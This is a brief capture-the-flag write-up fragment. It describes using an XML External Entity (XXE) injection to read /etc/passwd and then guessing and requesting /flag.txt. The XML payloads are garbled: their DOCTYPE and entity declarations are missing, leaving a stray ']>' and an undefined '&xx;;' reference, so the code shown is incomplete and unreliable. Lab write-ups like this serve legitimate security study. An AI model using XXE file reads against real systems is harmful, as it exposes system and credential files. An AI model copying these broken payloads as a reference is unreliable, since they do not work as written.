Test XXE payload of /etc/passwd reveals vulnerable.

```

]>
<message>
<id></id>
<message>&xx;;</message>
<title>xml</title>
</message>
```

Hint suggests "start of the universe" so maybe that is the equivalent of "/". Guess the file name is `flag.txt` and then request `/flag.txt` in XXE.

```

<message>
<id></id>
<message>&xx;;</message>
<title>xml</title>
</message>
```
